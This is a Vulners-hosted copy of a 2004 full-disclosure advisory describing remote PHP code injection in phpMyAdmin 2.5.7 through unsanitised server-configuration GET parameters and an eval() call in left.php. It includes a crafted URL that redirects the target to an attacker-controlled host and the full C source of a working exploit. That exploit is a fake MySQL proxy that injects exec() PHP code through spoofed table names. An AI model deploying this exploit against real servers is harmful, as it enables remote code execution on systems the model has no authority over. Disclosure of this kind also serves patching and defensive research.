Lucene search
K

phpMyAdmin257.txt

🗓️ 01 Jul 2004 00:00:00Reported by Nasir SimbolonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 29 Views

Vulnerability in phpMyAdmin 2.5.7 allows remote code injection via GET parameters.

Code
`  
  
Software : phpMyAdmin   
Version : 2.5.7   
Vulnerability : php codes injection   
Problem-Type : remote user   
phpMyAdmin is web-based mysql administration written   
in PHP.   
  
There is a vulnerability in phpMyAdmin version 2.5.7.   
This vulnerability would allow remote user to inject   
php codes   
to be executed by eval() function (in file left.php).   
However, This vulnerability only effect if variable   
$cfg['LeftFrameLight']   
set to FALSE (in file config.inc.php)   
  
1. Bugs   
  
The Bugs are phpMyAdmin do not prevent any user   
from   
  
1.a. Ability to grow up array variables by way of GET   
params   
  
PhpMyAdmin has multiple servers configuration stored   
in array variables ($cfg['Servers'][$i]). They are   
coded in file   
config.inc.php.   
They are usually set at instalation time by owner.   
Each configuration contains mysql server information   
to be used   
by phpMyAdmin as host, port, user, password,   
authentication type, database   
name etc of mysql server.   
Up to three servers configuration is provided by   
default.   
  
However, Uninitialized $cfg['Servers'][$i] allows   
remote user to add server   
configuration to the list of servers configuration by   
growing up   
$cfg['Servers'][$i] array through GET parameters.   
  
Remote user could add server configuration like this   
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]  
[4]   
[host]=202.81.x.x&cfg[Servers][4]  
[port]=8888&cfg[Servers][4][user]=alice ..   
and so forth.   
The running script will use the fourth server   
configuration which remote user   
supply.   
  
1.b. Escape 'magic' quote (') oops   
  
if variable $cfg['LeftFrameLight'] set to FALSE, this   
part of codes is   
executed.   
  
$eval_string = '$tablestack[\'' . implode('\'][\'',   
$_table) . '\']   
[\'pma_name\'][] = \'' . str_replace('\'', '\\\'',   
$table) . '\';';   
eval($eval_string);   
  
$eval_string will be php codes that executed by   
function eval().   
if we have one table named 'mytable', $eval_string   
will have string value   
$tablestack['']['pma_name'][] = 'mytable';   
  
phpMyAdmin is improper to handle escaping single   
quote.   
So that with crafted table name with its name   
contains meta-chars like this   
\';exec(\"touch /tmp/touchable\");/*   
$eval_string will have value   
$tablestack['']['pma_name'][] =   
'\\';exec("touch /tmp/touchable");/*';   
  
In php language, It will interpret the string as   
three php statements. The   
second statement will be our exploite codes. The   
last statement without   
trailing comment just give a warning message in   
php.   
  
2. Exploite   
  
Since mysql does not allow table name contain   
meta-chars, we have to provide   
a wrapper of mysql server. The wrapper acts like a   
proxy except that it will   
sends a fake table name, when client request a "SHOW   
TABLES" query, by   
replacing the real table name with a string contains   
exploite codes.   
  
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]  
[4]   
[host]=attacker.host.com&cfg[Servers][4]  
[port]=8889&cfg[Servers][4]   
[auth_type]=config&cfg[Servers][4]  
[user]=user&cfg[Servers][4]   
[password]=pass&cfg[Servers][4]  
[connect_type]=tcp&&cfg[Servers][4]   
[only_db]=databasename   
  
In attacker.host.com mysql wrapper will listen in   
port 8889 waiting for   
connection.   
  
3. Proof of Concept   
  
The exploite code, mysql wrapper written in c, can be   
founded in attachment   
or from   
http://eagle.kecapi.com/sec/codes/phpmy-explt.c   
  
4. Purpose   
This full disclosure is intended to be educational   
purpose.   
  
Regards,   
  
Nasir Simbolon   
http://eagle.kecapi.com   
--   
timor Domini   
  
-------------------------------------------------------   
  
  
phpmy-explt.c   
  
  
/*   
* phpmy-explt.c   
* written by Nasir Simbolon <[email protected]>   
* http://eagle.kecapi.com   
* Jakarta, Indonesia   
*   
* June, 10 2004   
*   
* A phpMyAdmin-2.5.7 exploite program.   
* This is a kind of mysql server wrapper acts   
like a proxy except that it will sends a fake table   
name,   
* when client query "SHOW TABLES", by replacing the   
real table name with a string contains exploite   
codes.   
*   
* Compile : gcc phpmy-explt.c -o phpmy-explt   
*   
* run with   
* ./phpmy-explt   
*   
* and go to your target and put   
*   
*   
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]  
[4][host]=attacker.host.com&cfg[Servers][4]  
[port]=8889&cfg[Servers][4]  
[auth_type]=config&cfg[Servers][4]  
[user]=user&cfg[Servers][4]  
[password]=pass&cfg[Servers][4]  
[connect_type]=tcp&&cfg[Servers][4]  
[only_db]=databasename   
*   
* fill host,port,user,pass and databasename   
correctly   
*   
*/   
  
  
#include<stdio.h>   
#include<sys/socket.h>   
#include<netdb.h>   
  
#define BIND_PORT 8889   
#define MYSQL_PORT 3306   
#define HOSTNAME "localhost"   
#define DATABASE "phpmy"   
  
  
#define BUFFER_LEN 1024   
  
/* This is php code we want to inject into phpMyAdmin   
Do NOT use single quote (') in the string, use   
double quote (") instead   
*/   
char *phpcodes =   
"exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");";   
  
  
/* This is examples codes I captured when mysql   
server   
reply to client's request of query "SHOW TABLES"   
query.   
It shows database name 'phpmy' and contain one   
tablename 'mytable'   
Our aim is to manipulate the data received from   
mysql server   
by replacing 'mytable' with our exploide codes.   
  
0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,   
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,   
'_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 ,   
0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 ,   
-2 ,8 ,0x0 ,0x0 ,0x4 ,7 ,'m' ,'y' ,'t' ,'a' ,   
'b' ,'l' ,'e' ,0x1 ,0 ,0 ,0x5 ,-2   
*/   
  
  
int build_exploite_code(char* dbname,char*   
phpcodes,char** expcode)   
{   
char my1[21] =   
{0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 ,   
0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' ,   
'_'};   
/* part of dbname ('p' ,'h' ,'p' ,'m' ,'y') */   
char my2[15] =   
{0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2 ,0x3 ,0x1 ,0x0 ,0x1f,   
0x1 ,0x0 ,0x0 ,0x3 ,-2};   
/* part of int phpcodes string length +1 (8) */   
char my3[3] = {0x0 ,0x0 ,0x4};   
/* part of int phpcodes string length (7) */   
/* part of tablename   
('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */   
char my4[5] = {0x1 ,0 ,0 ,0x5 ,-2};   
  
int len,i;   
  
len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +   
strlen(phpcodes) + 5 + 5;   
*expcode = (char*) malloc(sizeof(char) * len);   
  
i = 0;   
bcopy(&my1[0],*expcode + i,21);   
i += 21;   
bcopy(dbname, *expcode + i,strlen(dbname));   
i += strlen(dbname);   
bcopy(&my2[0],*expcode + i,15);   
i += 15;   
(*expcode)[i] = 5 + strlen(phpcodes) + 1;   
i ++;   
bcopy(&my3[0],*expcode + i,3);   
i += 3;   
(*expcode)[i++] = 5 + strlen(phpcodes) ;   
/* this is our exploite codes*/   
(*expcode)[i++] = '\\';   
(*expcode)[i++] = '\'';   
(*expcode)[i++] = ';';   
bcopy(phpcodes,*expcode + i,strlen(phpcodes));   
i += strlen(phpcodes);   
(*expcode)[i++] = '/';   
(*expcode)[i++] = '*';   
bcopy(&my4[0],*expcode + i,5);   
  
return len;   
}   
  
/* connect to mysql server*/   
  
int connect_mysql()   
{   
int s2;   
struct sockaddr_in ina;   
struct hostent *h;   
  
h = gethostbyname(HOSTNAME);   
/* set internet address */   
bcopy(h->h_addr,(void   
*)&ina.sin_addr,h->h_length);   
ina.sin_family = AF_INET;   
ina.sin_port = htons(MYSQL_PORT);   
//ina.sin_zero[0]='\0';   
if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)   
perror("Socket: ");   
  
if(connect(s2,(struct sockaddr   
*)&ina,sizeof(ina)) < 0 )   
perror("connect()");   
return s2;   
}   
  
/* listener */   
int listener()   
{   
int s1;   
int opt;   
struct sockaddr_in ina;   
  
/* set internet address */   
ina.sin_family = AF_INET;   
ina.sin_port = htons(BIND_PORT);   
ina.sin_addr.s_addr = INADDR_ANY;   
  
if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)   
perror("Socket: ");   
  
opt = 1;   
setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char   
*)&opt, sizeof(opt) );   
  
if(bind(s1,(struct sockaddr   
*)&ina,sizeof(ina))==-1)   
perror("Bind: ");   
  
if(listen(s1, 10) == -1)   
perror("Listen");   
  
return s1;   
}   
  
  
int main(int argc,char* argv[])   
{   
struct sockaddr_in ina1;   
int ina1_l;   
int s_daemon,s_mysql;   
size_t byte_read,byte_written;   
char *buf;   
int sc,event,n_select;   
fd_set rfds;   
struct timeval tv;   
int exptlen,i;   
char *expt;   
char *dbname=DATABASE;   
  
buf = (char*) malloc(sizeof(char) *   
(BUFFER_LEN));   
tv.tv_sec = 15;   
tv.tv_usec = 0;   
  
/* we listen to port */   
s_daemon = listener();   
  
exptlen =   
build_exploite_code(dbname,phpcodes,&expt);   
  
for(;;)   
{   
fprintf(stderr,"waiting for   
connection\n");   
  
if( -1 == (sc = accept(s_daemon,(struct   
sockaddr *) &ina1,&ina1_l)) )   
perror("accept()");   
/* if we get here, we have a new   
connection */   
fprintf(stderr,"got client connection\n");   
mysql:   
/* connect to mysql */   
s_mysql = connect_mysql();   
  
for(;;)   
{   
FD_ZERO(&rfds);   
FD_SET(sc,&rfds);   
FD_SET(s_mysql,&rfds);   
  
n_select = (sc > s_mysql)? sc :   
s_mysql;   
  
event =   
select(n_select+1,&rfds,NULL,NULL,NULL);   
if(-1 == event)   
perror("select()");   
else   
{   
if(FD_ISSET(s_mysql,&rfds))   
{   
byte_read =   
read(s_mysql,buf,BUFFER_LEN);   
/* check for closing client   
connection*/   
if(byte_read == 0)   
{   
shutdown(s_mysql,SHUT_RDWR);   
close(s_mysql);   
goto mysql;   
}   
  
/* check data received from   
mysql server.   
* if buf[11] contain 'T',   
data received from mysq server is table list   
*   
* NOW we replace the table   
with our exploite codes and send them to client   
*/   
if( 'T' == buf[11])   
{   
for(i=0;i<exptlen;i++)   
buf[i] = expt[i];   
byte_read = exptlen;   
}   
  
if(write(sc, buf, byte_read)   
< 0)   
break;   
}   
  
if(FD_ISSET(sc,&rfds))   
{   
byte_read =   
read(sc,buf,BUFFER_LEN);   
/* check for closing client   
connection*/   
if(byte_read == 0)   
{   
close(sc);   
break;   
}   
  
if(write(s_mysql,buf,byte_read)   
< 0)   
break;   
}   
#if defined(DEBUG)   
fprintf(stderr,"data:\n");   
for(i=0;i<byte_read;i++)   
fprintf(stderr," %c(%x)   
",buf[i],buf[i]);   
#endif   
}   
  
}   
}   
free(buf);   
free(expt);   
return 0;   
}   
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation